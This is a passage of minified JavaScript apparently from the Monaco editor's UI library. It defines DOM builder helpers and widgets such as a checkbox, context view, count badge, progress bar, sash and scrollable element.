t=0,n=e.children.length;t<n;t++){var o=e.children.item(t);if(c(o)){var r=l(o).__$listeners;if(i.isArray(r))for(;r.length;)r.pop().dispose();delete o[b]}this.unbindDescendants(o)}},e.prototype.empty=function(){return this.unbindDescendants(this.currentElement),this.clearChildren(),this.offdom&&(this.createdElements=[]),this},e.prototype.clearChildren=function(){return this.currentElement&&a.clearNode(this.currentElement),this},e.prototype.destroy=function(){if(this.currentElement&&(this.currentElement.parentNode&&this.currentElement.parentNode.removeChild(this.currentElement),this.empty(),c(this.currentElement))){var e=l(this.currentElement).__$listeners;if(i.isArray(e))for(;e.length;)e.pop().dispose();delete this.currentElement[b]}var t;for(t in this.toUnbind)this.toUnbind.hasOwnProperty(t)&&i.isArray(this.toUnbind[t])&&(this.toUnbind[t]=o.dispose(this.toUnbind[t]));for(t in this.captureToUnbind)this.captureToUnbind.hasOwnProperty(t)&&i.isArray(this.captureToUnbind[t])&&(this.captureToUnbind[t]=o.dispose(this.captureToUnbind[t]));this.currentElement=null,this.container=null,this.offdom=null,this.createdElements=null,this.captureToUnbind=null,this.toUnbind=null},e.prototype.dispose=function(){this.destroy()},e.prototype.getTotalSize=function(){var e=a.getTotalWidth(this.currentElement),t=a.getTotalHeight(this.currentElement);return new L(e,t)},e.prototype.getContentSize=function(){var e=a.getContentWidth(this.currentElement),t=a.getContentHeight(this.currentElement);return new L(e,t)},e.prototype.getClientArea=function(){if(this.currentElement!==document.body)return new L(this.currentElement.clientWidth,this.currentElement.clientHeight);if(window.innerWidth&&window.innerHeight)return new L(window.innerWidth,window.innerHeight);if(document.body&&document.body.clientWidth&&document.body.clientWidth)return new L(document.body.clientWidth,document.body.clientHeight);if(document.documentElement&&document.documentElement.clientWidth&&document.documentElement.clientHeight)return new L(document.documentElement.clientWidth,document.documentElement.clientHeight);throw new Error(\"Unable to figure out browser width and height\")},e}();t.Builder=x;var N=function(e){function t(n){var o=this;if(s.ok(i.isArray(n)||n instanceof t,\"Expected Array or MultiBuilder as parameter\"),o=e.call(this)||this,o.length=0,o.builders=[],i.isArray(n))for(r=0;r<n.length;r++)n[r]instanceof HTMLElement?o.push(h(n[r])):o.push(n[r]);else for(var r=0;r<n.length;r++)o.push(n.item(r));var a=o;for(var u in x.prototype)\"clone\"!==u&&\"and\"!==u&&x.prototype.hasOwnProperty(u)&&i.isFunction(x.prototype[u])&&function(e){a[e]=function(){for(var n,o=Array.prototype.slice.call(arguments),r=!1,s=0;s<a.length;s++){var u=a.item(s)[e].apply(a.item(s),o);if(u instanceof t){n||(n=[]),r=!0;for(var l=0;l<u.length;l++)n.push(u.item(l))}else i.isUndefined(u)||u instanceof x||(n||(n=[]),n.push(u))}return n&&r?new t(n):n||a}}(u);return o}return f(t,e),t.prototype.item=function(e){return this.builders[e]},t.prototype.push=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];for(var n=0;n<e.length;n++)this.builders.push(e[n]);this.length=this.builders.length},t.prototype.pop=function(){var e=this.builders.pop();return this.length=this.builders.length,e},t.prototype.concat=function(e){var t=this.builders.concat(e);return this.length=this.builders.length,t},t.prototype.shift=function(){var e=this.builders.shift();return this.length=this.builders.length,e},t.prototype.unshift=function(e){var t=this.builders.unshift(e);return this.length=this.builders.length,t},t.prototype.slice=function(e,t){var n=this.builders.slice(e,t);return this.length=this.builders.length,n},t.prototype.splice=function(e,t){var n=this.builders.splice(e,t);return this.length=this.builders.length,n},t.prototype.clone=function(){return new t(this)},t.prototype.and=function(e){e instanceof x||e instanceof t||(e=new x(e));var n=[];if(e instanceof t)for(var i=0;i<e.length;i++)n.push(e.item(i));else n.push(e);return this.push.apply(this,n),this},t}(x);t.MultiBuilder=N,t.setPropertyOnElement=g,t.getPropertyFromElement=m,t.removePropertyFromElement=v,t.bindElement=_,t.unbindElement=y,t.getBindingFromElement=C,t.Binding={setPropertyOnElement:g,getPropertyFromElement:m,removePropertyFromElement:v,bindElement:_,unbindElement:y,getBindingFromElement:C};var M=/([\\w\\-]+)?(#([\\w\\-]+))?((.([\\w\\-]+))*)/;t.$=function(e){if(i.isUndefined(e))return p();if(!e)throw new Error(\"Bad use of $\");if(a.isHTMLElement(e)||e===window)return h(e);if(i.isArray(e))return new N(e);if(e instanceof x)return d(e);if(i.isString(e)){if(\"<\"===e[0]){var t=void 0,n=document.createElement(\"div\");if(n.innerHTML=r.format.apply(r,arguments),0===n.children.length)throw new Error(\"Bad use of $\");if(1===n.children.length)return t=n.firstChild,n.removeChild(t),h(t);for(var o=[];n.firstChild;)t=n.firstChild,n.removeChild(t),o.push(h(t));return new N(o)}if(1===arguments.length){var s=M.exec(e);if(!s)throw new Error(\"Bad use of $\");var u=s[1]||\"div\",l=s[3]||void 0,c=(s[4]||\"\").replace(/\\./g,\" \"),f={};return l&&(f.id=l),c&&(f.class=c),p().element(u,f)}var g=p();return g.element.apply(g,arguments),g}throw new Error(\"Bad use of $\")},t.$.Box=E,t.$.Dimension=L,t.$.Position=S,t.$.Builder=x,t.$.MultiBuilder=N,t.$.Build=t.Build,t.$.Binding=t.Binding}),define(d[496],h([5]),{}),define(d[500],h([5]),{}),define(d[505],h([5]),{}),define(d[506],h([1,0,4,26,41,32,505]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s={inputActiveOptionBorder:r.Color.fromHex(\"#007ACC\")},a=function(e){function t(t){var n=e.call(this)||this;return n._opts=i.clone(t),i.mixin(n._opts,s,!1),n._checked=n._opts.isChecked,n.domNode=document.createElement(\"div\"),n.domNode.title=n._opts.title,n.domNode.className=n._className(),n.domNode.tabIndex=0,n.domNode.setAttribute(\"role\",\"checkbox\"),n.domNode.setAttribute(\"aria-checked\",String(n._checked)),n.domNode.setAttribute(\"aria-label\",n._opts.title),n.applyStyles(),n.onclick(n.domNode,function(e){n.checked=!n._checked,n._opts.onChange(!1),e.preventDefault()}),n.onkeydown(n.domNode,function(e){if(10===e.keyCode||3===e.keyCode)return n.checked=!n._checked,n._opts.onChange(!0),void e.preventDefault();n._opts.onKeyDown&&n._opts.onKeyDown(e)}),n}return f(t,e),t.prototype.focus=function(){this.domNode.focus()},Object.defineProperty(t.prototype,\"checked\",{get:function(){return this._checked},set:function(e){this._checked=e,this.domNode.setAttribute(\"aria-checked\",String(this._checked)),this.domNode.className=this._className(),this.applyStyles()},enumerable:!0,configurable:!0}),t.prototype._className=function(){return\"custom-checkbox \"+this._opts.actionClassName+\" \"+(this._checked?\"checked\":\"unchecked\")},t.prototype.width=function(){return 22},t.prototype.style=function(e){e.inputActiveOptionBorder&&(this._opts.inputActiveOptionBorder=e.inputActiveOptionBorder),this.applyStyles()},t.prototype.applyStyles=function(){this.domNode&&(this.domNode.style.borderColor=this._checked&&this._opts.inputActiveOptionBorder?this._opts.inputActiveOptionBorder.toString():\"transparent\")},t.prototype.enable=function(){this.domNode.tabIndex=0,this.domNode.setAttribute(\"aria-disabled\",String(!1))},t.prototype.disable=function(){n.removeTabIndexAndUpdateFocus(this.domNode),this.domNode.setAttribute(\"aria-disabled\",String(!0))},t}(o.Widget);t.Checkbox=a}),define(d[510],h([5]),{}),define(d[160],h([1,0,52,4,3,38,510]),function(e,t,n,i,o,r){\"use strict\";function s(e,t,n,i,o){var r=function(e,t,n,i){return t?e:i?n:e},s=function(e,t,n,i,o){return o?r(e,t,n,i):r(n,i,e,t)};return{top:function(){var o=t.top-e.height,r=t.top+t.height,a=o>=n.top&&o+e.height<=n.top+n.height,l=r>=n.top&&r+e.height<=n.top+n.height;return s(o,a,r,l,i===u.ABOVE)}(),left:function(){var i=t.left,r=t.left+t.width-e.width,u=i>=n.left&&i+e.width<=n.left+n.width,l=r>=n.left&&r+e.width<=n.left+n.width;return s(i,u,r,l,o===a.LEFT)}()}}Object.defineProperty(t,\"__esModule\",{value:!0});var a;!function(e){e[e.LEFT=0]=\"LEFT\",e[e.RIGHT=1]=\"RIGHT\"}(a=t.AnchorAlignment||(t.AnchorAlignment={}));var u;!function(e){e[e.BELOW=0]=\"BELOW\",e[e.ABOVE=1]=\"ABOVE\"}(u=t.AnchorPosition||(t.AnchorPosition={}));var l=function(e){function t(t){var i=e.call(this)||this;return i.$view=n.$(\".context-view\").hide(),i.setContainer(t),i.toDispose=[{dispose:function(){i.setContainer(null)}}],i.toDisposeOnClean=null,i}return f(t,e),t.prototype.setContainer=function(e){var i=this;this.$container&&(this.$container.off(t.BUBBLE_UP_EVENTS),this.$container.off(t.BUBBLE_DOWN_EVENTS,!0),this.$container=null),e&&(this.$container=n.$(e),this.$view.appendTo(this.$container),this.$container.on(t.BUBBLE_UP_EVENTS,function(e){i.onDOMEvent(e,document.activeElement,!1)}),this.$container.on(t.BUBBLE_DOWN_EVENTS,function(e){i.onDOMEvent(e,document.activeElement,!0)},null,!0))},t.prototype.show=function(e){this.isVisible()&&this.hide(),this.$view.setClass(\"context-view\").empty().style({top:\"0px\",left:\"0px\"}).show(),this.toDisposeOnClean=e.render(this.$view.getHTMLElement()),this.delegate=e,this.doLayout()},t.prototype.layout=function(){this.isVisible()&&(!1!==this.delegate.canRelayout?(this.delegate.layout&&this.delegate.layout(),this.doLayout()):this.hide())},t.prototype.doLayout=function(){var e,t=this.delegate.getAnchor();if(i.isHTMLElement(t)){var n=i.getDomNodePagePosition(t);e={top:n.top,left:n.left,width:n.width,height:n.height}}else{var o=t;e={top:o.y,left:o.x,width:o.width||0,height:o.height||0}}var r={top:i.StandardWindow.scrollY,left:i.StandardWindow.scrollX,height:window.innerHeight,width:window.innerWidth},l=this.$view.getTotalSize(),c={width:l.width,height:l.height},d=this.delegate.anchorPosition||u.BELOW,h=this.delegate.anchorAlignment||a.LEFT,p=s(c,e,r,d,h),f=i.getDomNodePagePosition(this.$container.getHTMLElement());p.top-=f.top,p.left-=f.left,this.$view.removeClass(\"top\",\"bottom\",\"left\",\"right\"),this.$view.addClass(d===u.BELOW?\"bottom\":\"top\"),this.$view.addClass(h===a.LEFT?\"left\":\"right\"),this.$view.style({top:p.top+\"px\",left:p.left+\"px\",width:\"initial\"})},t.prototype.hide=function(e){this.delegate&&this.delegate.onHide&&this.delegate.onHide(e),this.delegate=null,this.toDisposeOnClean&&(this.toDisposeOnClean.dispose(),this.toDisposeOnClean=null),this.$view.hide()},t.prototype.isVisible=function(){return!!this.delegate},t.prototype.onDOMEvent=function(e,t,n){this.delegate&&(this.delegate.onDOMEvent?this.delegate.onDOMEvent(e,document.activeElement):n&&!i.isAncestor(e.target,this.$container.getHTMLElement())&&this.hide())},t.prototype.dispose=function(){e.prototype.dispose.call(this),this.hide(),this.toDispose=o.dispose(this.toDispose)},t.BUBBLE_UP_EVENTS=[\"click\",\"keydown\",\"focus\",\"blur\"],t.BUBBLE_DOWN_EVENTS=[\"click\"],t}(r.EventEmitter);t.ContextView=l}),define(d[201],h([5]),{}),define(d[204],h([1,0,4,9,32,26,201]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s={badgeBackground:o.Color.fromHex(\"#4D4D4D\"),badgeForeground:o.Color.fromHex(\"#FFFFFF\")},a=function(){function e(e,t){this.options=t||Object.create(null),r.mixin(this.options,s,!1),this.badgeBackground=this.options.badgeBackground,this.badgeForeground=this.options.badgeForeground,this.badgeBorder=this.options.badgeBorder,this.element=n.append(e,n.$(\".monaco-count-badge\")),this.titleFormat=this.options.titleFormat||\"\",this.setCount(this.options.count||0)}return e.prototype.setCount=function(e){this.count=e,this.render()},e.prototype.setTitleFormat=function(e){this.titleFormat=e,this.render()},e.prototype.render=function(){this.element.textContent=\"\"+this.count,this.element.title=i.format(this.titleFormat,this.count),this.applyStyles()},e.prototype.style=function(e){this.badgeBackground=e.badgeBackground,this.badgeForeground=e.badgeForeground,this.badgeBorder=e.badgeBorder,this.applyStyles()},e.prototype.applyStyles=function(){if(this.element){var e=this.badgeBackground?this.badgeBackground.toString():null,t=this.badgeForeground?this.badgeForeground.toString():null,n=this.badgeBorder?this.badgeBorder.toString():null;this.element.style.backgroundColor=e,this.element.style.color=t,this.element.style.borderWidth=n?\"1px\":null,this.element.style.borderStyle=n?\"solid\":null,this.element.style.borderColor=n}},e}();t.CountBadge=a}),define(d[205],h([5]),{}),define(d[206],h([5]),{}),define(d[208],h([5]),{}),define(d[162],h([1,0,4,110,45,174,208]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(){function e(e,t){this.domNode=n.append(e,n.$(\".monaco-icon-label\")),t&&t.supportHighlights?this.labelNode=new i.HighlightedLabel(n.append(this.domNode,n.$(\"a.label-name\"))):this.labelNode=n.append(this.domNode,n.$(\"a.label-name\")),this.descriptionNode=n.append(this.domNode,n.$(\"span.label-description\"))}return Object.defineProperty(e.prototype,\"element\",{get:function(){return this.domNode},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"labelElement\",{get:function(){var e=this.labelNode;return e instanceof i.HighlightedLabel?e.element:e},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"descriptionElement\",{get:function(){return this.descriptionNode},enumerable:!0,configurable:!0}),e.prototype.setValue=function(e,t,o){var r=this.labelNode;r instanceof i.HighlightedLabel?r.set(e||\"\",o?o.matches:void 0):r.textContent=e||\"\",this.descriptionNode.textContent=t||\"\",t?n.removeClass(this.descriptionNode,\"empty\"):n.addClass(this.descriptionNode,\"empty\"),this.domNode.title=o&&o.title?o.title:\"\";var s=[\"monaco-icon-label\"];o&&(o.extraClasses&&s.push.apply(s,o.extraClasses),o.italic&&s.push(\"italic\")),this.domNode.className=s.join(\" \")},e.prototype.dispose=function(){var e=this.labelNode;e instanceof i.HighlightedLabel&&e.dispose()},e}();t.IconLabel=s;var a=function(e){function t(t,n,i,o){var r=e.call(this,t)||this;return r.setFile(n,i,o),r}return f(t,e),t.prototype.setFile=function(e,t,n){var i=o.dirname(e.fsPath);this.setValue(o.basename(e.fsPath),i&&\".\"!==i?r.getPathLabel(i,t,n):\"\",{title:e.fsPath})},t}(s);t.FileLabel=a}),define(d[211],h([5]),{}),define(d[212],h([5]),{}),define(d[213],h([5]),{}),define(d[218],h([5]),{}),define(d[219],h([5]),{}),define(d[220],h([1,0,7,72,52,4,3,32,26,219]),function(e,t,n,i,o,r,s,a,u){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var l={progressBarBackground:a.Color.fromHex(\"#0E70C0\")},c=function(){function e(e,t){this.options=t||Object.create(null),u.mixin(this.options,l,!1),this.toUnbind=[],this.workedVal=0,this.progressBarBackground=this.options.progressBarBackground,this.create(e)}return e.prototype.create=function(e){var t=this;e.div({class:\"progress-container\"},function(e){t.element=e.clone(),e.div({class:\"progress-bit\"}).on([r.EventType.ANIMATION_START,r.EventType.ANIMATION_END,r.EventType.ANIMATION_ITERATION],function(e){switch(e.type){case r.EventType.ANIMATION_START:case r.EventType.ANIMATION_END:t.animationRunning=e.type===r.EventType.ANIMATION_START;break;case r.EventType.ANIMATION_ITERATION:t.animationStopToken&&t.animationStopToken(null)}},t.toUnbind),t.bit=e.getHTMLElement()}),this.applyStyles()},e.prototype.off=function(){this.bit.style.width=\"inherit\",this.bit.style.opacity=\"1\",this.element.removeClass(\"active\"),this.element.removeClass(\"infinite\"),this.element.removeClass(\"discrete\"),this.workedVal=0,this.totalWork=void 0},e.prototype.done=function(){return this.doDone(!0)},e.prototype.stop=function(){return this.doDone(!1)},e.prototype.doDone=function(e){var t=this;return this.element.addClass(\"done\"),this.element.hasClass(\"infinite\")?(this.bit.style.opacity=\"0\",e?n.TPromise.timeout(200).then(function(){return t.off()}):this.off()):(this.bit.style.width=\"inherit\",e?n.TPromise.timeout(200).then(function(){return t.off()}):this.off()),this},e.prototype.infinite=function(){return this.bit.style.width=\"2%\",this.bit.style.opacity=\"1\",this.element.removeClass(\"discrete\"),this.element.removeClass(\"done\"),this.element.addClass(\"active\"),this.element.addClass(\"infinite\"),this},e.prototype.total=function(e){return this.workedVal=0,this.totalWork=e,this},e.prototype.hasTotal=function(){return!isNaN(this.totalWork)},e.prototype.worked=function(e){return i.ok(!isNaN(this.totalWork),\"Total work not set\"),e=Number(e),i.ok(!isNaN(e),\"Value is not a number\"),e=Math.max(1,e),this.workedVal+=e,this.workedVal=Math.min(this.totalWork,this.workedVal),this.element.hasClass(\"infinite\")&&this.element.removeClass(\"infinite\"),this.element.hasClass(\"done\")&&this.element.removeClass(\"done\"),this.element.hasClass(\"active\")||this.element.addClass(\"active\"),this.element.hasClass(\"discrete\")||this.element.addClass(\"discrete\"),this.bit.style.width=this.workedVal/this.totalWork*100+\"%\",this},e.prototype.getContainer=function(){return o.$(this.element)},e.prototype.style=function(e){this.progressBarBackground=e.progressBarBackground,this.applyStyles()},e.prototype.applyStyles=function(){if(this.bit){var e=this.progressBarBackground?this.progressBarBackground.toString():null;this.bit.style.backgroundColor=e}},e.prototype.dispose=function(){this.toUnbind=s.dispose(this.toUnbind)},e}();t.ProgressBar=c}),define(d[224],h([5]),{}),define(d[99],h([1,0,3,52,28,15,29,4,74,38,47,11,224]),function(e,t,n,i,o,r,s,a,u,l,c,d){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var h;!function(e){e[e.VERTICAL=0]=\"VERTICAL\",e[e.HORIZONTAL=1]=\"HORIZONTAL\"}(h=t.Orientation||(t.Orientation={}));var p=function(e){function t(t,n,s){void 0===s&&(s={});var l=e.call(this)||this;return l.$e=i.$(\".monaco-sash\").appendTo(t),r.isMacintosh&&l.$e.addClass(\"mac\"),l.gesture=new u.Gesture(l.$e.getHTMLElement()),l.$e.on(a.EventType.MOUSE_DOWN,function(e){l.onMouseDown(e)}),l.$e.on(a.EventType.DBLCLICK,function(e){l.emit(\"reset\",e)}),l.$e.on(u.EventType.Start,function(e){l.onTouchStart(e)}),l.size=s.baseSize||5,o.isIPad&&(l.size*=4,l.$e.addClass(\"touch\")),l.setOrientation(s.orientation||h.VERTICAL),l.isDisabled=!1,l.hidden=!1,l.layoutProvider=n,l}return f(t,e),t.prototype.getHTMLElement=function(){return this.$e.getHTMLElement()},t.prototype.setOrientation=function(e){this.orientation=e,this.$e.removeClass(\"horizontal\",\"vertical\"),this.$e.addClass(this.getOrientation()),this.orientation===h.HORIZONTAL?this.$e.size(null,this.size):this.$e.size(this.size),this.layoutProvider&&this.layout()},t.prototype.getOrientation=function(){return this.orientation===h.HORIZONTAL?\"horizontal\":\"vertical\"},t.prototype.onMouseDown=function(e){var t=this;if(a.EventHelper.stop(e,!1),!this.isDisabled){var n=i.$(a.getElementsByTagName(\"iframe\"));n&&n.style(\"pointer-events\",\"none\");var o=new c.StandardMouseEvent(e),s=o.posx,u=o.posy,l={startX:s,currentX:s,startY:u,currentY:u};this.$e.addClass(\"active\"),this.emit(\"start\",l);var d=i.$(window),h=this.getOrientation()+\"-cursor-container\"+(r.isMacintosh?\"-mac\":\"\"),p=s,f=u;d.on(\"mousemove\",function(e){a.EventHelper.stop(e,!1);var n=new c.StandardMouseEvent(e),i={startX:s,currentX:n.posx,startY:u,currentY:n.posy};p=n.posx,f=n.posy,t.emit(\"change\",i)}).once(\"mouseup\",function(e){a.EventHelper.stop(e,!1),t.$e.removeClass(\"active\"),t.emit(\"end\"),d.off(\"mousemove\"),document.body.classList.remove(h);var n=i.$(a.getElementsByTagName(\"iframe\"));n&&n.style(\"pointer-events\",\"auto\")}),document.body.classList.add(h)}},t.prototype.onTouchStart=function(e){var t=this;a.EventHelper.stop(e);var i=[],o=e.pageX,r=e.pageY;this.emit(\"start\",{startX:o,currentX:o,startY:r,currentY:r});var l=o,c=r;i.push(a.addDisposableListener(this.$e.getHTMLElement(),u.EventType.Change,function(e){s.isNumber(e.pageX)&&s.isNumber(e.pageY)&&(t.emit(\"change\",{startX:o,currentX:e.pageX,startY:r,currentY:e.pageY}),l=e.pageX,c=e.pageY)})),i.push(a.addDisposableListener(this.$e.getHTMLElement(),u.EventType.End,function(e){t.emit(\"end\"),n.dispose(i)}))},t.prototype.layout=function(){var e;if(this.orientation===h.VERTICAL){var t=this.layoutProvider;e={left:t.getVerticalSashLeft(this)-this.size/2+\"px\"},t.getVerticalSashTop&&(e.top=t.getVerticalSashTop(this)+\"px\"),t.getVerticalSashHeight&&(e.height=t.getVerticalSashHeight(this)+\"px\")}else{var n=this.layoutProvider;e={top:n.getHorizontalSashTop(this)-this.size/2+\"px\"},n.getHorizontalSashLeft&&(e.left=n.getHorizontalSashLeft(this)+\"px\"),n.getHorizontalSashWidth&&(e.width=n.getHorizontalSashWidth(this)+\"px\")}this.$e.style(e)},t.prototype.show=function(){this.hidden=!1,this.$e.show()},t.prototype.hide=function(){this.hidden=!0,this.$e.hide()},t.prototype.isHidden=function(){return this.hidden},t.prototype.enable=function(){this.$e.removeClass(\"disabled\"),this.isDisabled=!1},t.prototype.disable=function(){this.$e.addClass(\"disabled\"),this.isDisabled=!0},t.prototype.dispose=function(){this.$e&&(this.$e.destroy(),this.$e=null),e.prototype.dispose.call(this)},t}(l.EventEmitter);t.Sash=p;var g=function(e){function t(t,n){var i=e.call(this)||this;return i.minWidth=n,i._onPositionChange=new d.Emitter,i.ratio=.5,i.sash=new p(t,i),i._register(i.sash.addListener(\"start\",function(){return i.onSashDragStart()})),i._register(i.sash.addListener(\"change\",function(e){return i.onSashDrag(e)})),i._register(i.sash.addListener(\"end\",function(){return i.onSashDragEnd()})),i._register(i.sash.addListener(\"reset\",function(){return i.onSashReset()})),i}return f(t,e),Object.defineProperty(t.prototype,\"onPositionChange\",{get:function(){return this._onPositionChange.event},enumerable:!0,configurable:!0}),t.prototype.getVerticalSashTop=function(){return 0},t.prototype.getVerticalSashLeft=function(){return this.position},t.prototype.getVerticalSashHeight=function(){return this.dimension.height},t.prototype.setDimenesion=function(e){this.dimension=e,this.compute(this.ratio)},t.prototype.onSashDragStart=function(){this.startPosition=this.position},t.prototype.onSashDrag=function(e){this.compute((this.startPosition+(e.currentX-e.startX))/this.dimension.width)},t.prototype.compute=function(e){this.computeSashPosition(e),this.ratio=this.position/this.dimension.width,this._onPositionChange.fire(this.position)},t.prototype.onSashDragEnd=function(){this.sash.layout()},t.prototype.onSashReset=function(){this.ratio=.5,this._onPositionChange.fire(this.position),this.sash.layout()},t.prototype.computeSashPosition=function(e){void 0===e&&(e=this.ratio);var t=this.dimension.width,n=Math.floor((e||.5)*t),i=Math.floor(.5*t);t>2*this.minWidth?(n<this.minWidth&&(n=this.minWidth),n>t-this.minWidth&&(n=t-this.minWidth)):n=i,this.position!==n&&(this.position=n,this.sash.layout())},t}(n.Disposable);t.VSash=g}),define(d[228],h([5]),{}),define(d[63],h([1,0,4,15,47,439,440,3,48,41,18,27,11,228]),function(e,t,n,i,o,r,s,a,u,l,c,d,h){\"use strict\";function p(e){var t={lazyRender:void 0!==e.lazyRender&&e.lazyRender,className:void 0!==e.className?e.className:\"\",useShadows:void 0===e.useShadows||e.useShadows,handleMouseWheel:void 0===e.handleMouseWheel||e.handleMouseWheel,flipAxes:void 0!==e.flipAxes&&e.flipAxes,alwaysConsumeMouseWheel:void 0!==e.alwaysConsumeMouseWheel&&e.alwaysConsumeMouseWheel,scrollYToX:void 0!==e.scrollYToX&&e.scrollYToX,mouseWheelScrollSensitivity:void 0!==e.mouseWheelScrollSensitivity?e.mouseWheelScrollSensitivity:1,arrowSize:void 0!==e.arrowSize?e.arrowSize:11,listenOnDomNode:void 0!==e.listenOnDomNode?e.listenOnDomNode:null,horizontal:void 0!==e.horizontal?e.horizontal:u.ScrollbarVisibility.Auto,horizontalScrollbarSize:void 0!==e.horizontalScrollbarSize?e.horizontalScrollbarSize:10,horizontalSliderSize:void 0!==e.horizontalSliderSize?e.horizontalSliderSize:0,horizontalHasArrows:void 0!==e.horizontalHasArrows&&e.horizontalHasArrows,vertical:void 0!==e.vertical?e.vertical:u.ScrollbarVisibility.Auto,verticalScrollbarSize:void 0!==e.verticalScrollbarSize?e.verticalScrollbarSize:10,verticalHasArrows:void 0!==e.verticalHasArrows&&e.verticalHasArrows,verticalSliderSize:void 0!==e.verticalSliderSize?e.verticalSliderSize:0};return t.horizontalSliderSize=void 0!==e.horizontalSliderSize?e.horizontalSliderSize:t.horizontalScrollbarSize,t.verticalSliderSize=void 0!==e.verticalSliderSize?e.verticalSliderSize:t.verticalScrollbarSize,i.isMacintosh&&(t.className+=\" mac\"),t}Object.defineProperty(t,\"__esModule\",{value:!0});var g=function(e){function t(t,n,i){var o=e.call(this)||this;o._onScroll=o._register(new h.Emitter),o.onScroll=o._onScroll.event,t.style.overflow=\"hidden\",o._options=p(n),o._scrollable=void 0===i?o._register(new u.Scrollable):i,o._register(o._scrollable.onScroll(function(e){o._onDidScroll(e),o._onScroll.fire(e)}));var a={onMouseWheel:function(e){return o._onMouseWheel(e)},onDragStart:function(){return o._onDragStart()},onDragEnd:function(){return o._onDragEnd()}};return o._verticalScrollbar=o._register(new s.VerticalScrollbar(o._scrollable,o._options,a)),o._horizontalScrollbar=o._register(new r.HorizontalScrollbar(o._scrollable,o._options,a)),o._domNode=document.createElement(\"div\"),o._domNode.className=\"monaco-scrollable-element \"+o._options.className,o._domNode.setAttribute(\"role\",\"presentation\"),o._domNode.style.position=\"relative\",o._domNode.style.overflow=\"hidden\",o._domNode.appendChild(t),o._domNode.appendChild(o._horizontalScrollbar.domNode.domNode),o._domNode.appendChild(o._verticalScrollbar.domNode.domNode),o._options.useShadows&&(o._leftShadowDomNode=d.createFastDomNode(document.createElement(\"div\")),o._leftShadowDomNode.setClassName(\"shadow\"),o._domNode.appendChild(o._leftShadowDomNode.domNode),o._topShadowDomNode=d.createFastDomNode(document.createElement(\"div\")),o._topShadowDomNode.setClassName(\"shadow\"),o._domNode.appendChild(o._topShadowDomNode.domNode),o._topLeftShadowDomNode=d.createFastDomNode(document.createElement(\"div\")),o._topLeftShadowDomNode.setClassName(\"shadow top-left-corner\"),o._domNode.appendChild(o._topLeftShadowDomNode.domNode)),o._listenOnDomNode=o._options.listenOnDomNode||o._domNode,o._mouseWheelToDispose=[],o._setListeningToMouseWheel(o._options.handleMouseWheel),o.onmouseover(o._listenOnDomNode,function(e){return o._onMouseOver(e)}),o.onnonbubblingmouseout(o._listenOnDomNode,function(e){return o._onMouseOut(e)}),o._hideTimeout=o._register(new c.TimeoutTimer),o._isDragging=!1,o._mouseIsOver=!1,o._shouldRender=!0,o}return f(t,e),t.prototype.dispose=function(){this._mouseWheelToDispose=a.dispose(this._mouseWheelToDispose),e.prototype.dispose.call(this)},t.prototype.getDomNode=function(){return this._domNode},t.prototype.getOverviewRulerLayoutInfo=function(){return{parent:this._domNode,insertBefore:this._verticalScrollbar.domNode.domNode}},t.prototype.delegateVerticalScrollbarMouseDown=function(e){this._verticalScrollbar.delegateMouseDown(e)},t.prototype.delegateSliderMouseDown=function(e,t){this._verticalScrollbar.delegateSliderMouseDown(e,t)},t.prototype.updateState=function(e){this._scrollable.updateState(e)},t.prototype.getScrollState=function(){return this._scrollable.getState()},t.prototype.updateClassName=function(e){this._options.className=e,i.isMacintosh&&(this._options.className+=\" mac\"),this._domNode.className=\"monaco-scrollable-element \"+this._options.className},t.prototype.updateOptions=function(e){var t=p(e);this._options.handleMouseWheel=t.handleMouseWheel,this._options.mouseWheelScrollSensitivity=t.mouseWheelScrollSensitivity,this._setListeningToMouseWheel(this._options.handleMouseWheel),this._options.lazyRender||this._render()},t.prototype._setListeningToMouseWheel=function(e){var t=this;if(this._mouseWheelToDispose.length>0!==e&&(this._mouseWheelToDispose=a.dispose(this._mouseWheelToDispose),e)){var i=function(e){var n=new o.StandardMouseWheelEvent(e);t._onMouseWheel(n)};this._mouseWheelToDispose.push(n.addDisposableListener(this._listenOnDomNode,\"mousewheel\",i)),this._mouseWheelToDispose.push(n.addDisposableListener(this._listenOnDomNode,\"DOMMouseScroll\",i))}},t.prototype._onMouseWheel=function(e){var t=-1,n=-1;if(e.deltaY||e.deltaX){var o=e.deltaY*this._options.mouseWheelScrollSensitivity,r=e.deltaX*this._options.mouseWheelScrollSensitivity;this._options.flipAxes&&(o=(c=[r,o])[0],r=c[1]);var s=!i.isMacintosh&&e.browserEvent.shiftKey;!this._options.scrollYToX&&!s||r||(r=o,o=0),i.isMacintosh&&(o&&Math.abs(r)<.2&&(r=0),Math.abs(o)>.5*Math.abs(r)&&(r=0));var a=this._scrollable.getState();if(o){var u=a.scrollTop;(t=this._verticalScrollbar.validateScrollPosition((-1!==t?t:u)-50*o))===u&&(t=-1)}if(r){var l=a.scrollLeft;(n=this._horizontalScrollbar.validateScrollPosition((-1!==n?n:l)-50*r))===l&&(n=-1)}-1===t&&-1===n||(-1!==t&&(this._shouldRender=this._verticalScrollbar.setDesiredScrollPosition(t)||this._shouldRender,t=-1),-1!==n&&(this._shouldRender=this._horizontalScrollbar.setDesiredScrollPosition(n)||this._shouldRender,n=-1))}(this._options.alwaysConsumeMouseWheel||this._shouldRender)&&(e.preventDefault(),e.stopPropagation());var c},t.prototype._onDidScroll=function(e){this._shouldRender=this._horizontalScrollbar.onDidScroll(e)||this._shouldRender,this._shouldRender=this._verticalScrollbar.onDidScroll(e)||this._shouldRender,this._options.useShadows&&(this._shouldRender=!0),this._reveal(),this._options.lazyRender||this._render()},t.prototype.renderNow=function(){if(!this._options.lazyRender)throw new Error(\"Please use `lazyRender` together with `renderNow`!\");this._render()},t.prototype._render=function(){if(this._shouldRender&&(this._shouldRender=!1,this._horizontalScrollbar.render(),this._verticalScrollbar.render(),this._options.useShadows)){var e=this._scrollable.getState(),t=e.scrollTop>0,n=e.scrollLeft>0;this._leftShadowDomNode.setClassName(\"shadow\"+(n?\" left\":\"\")),this._topShadowDomNode.setClassName(\"shadow\"+(t?\" 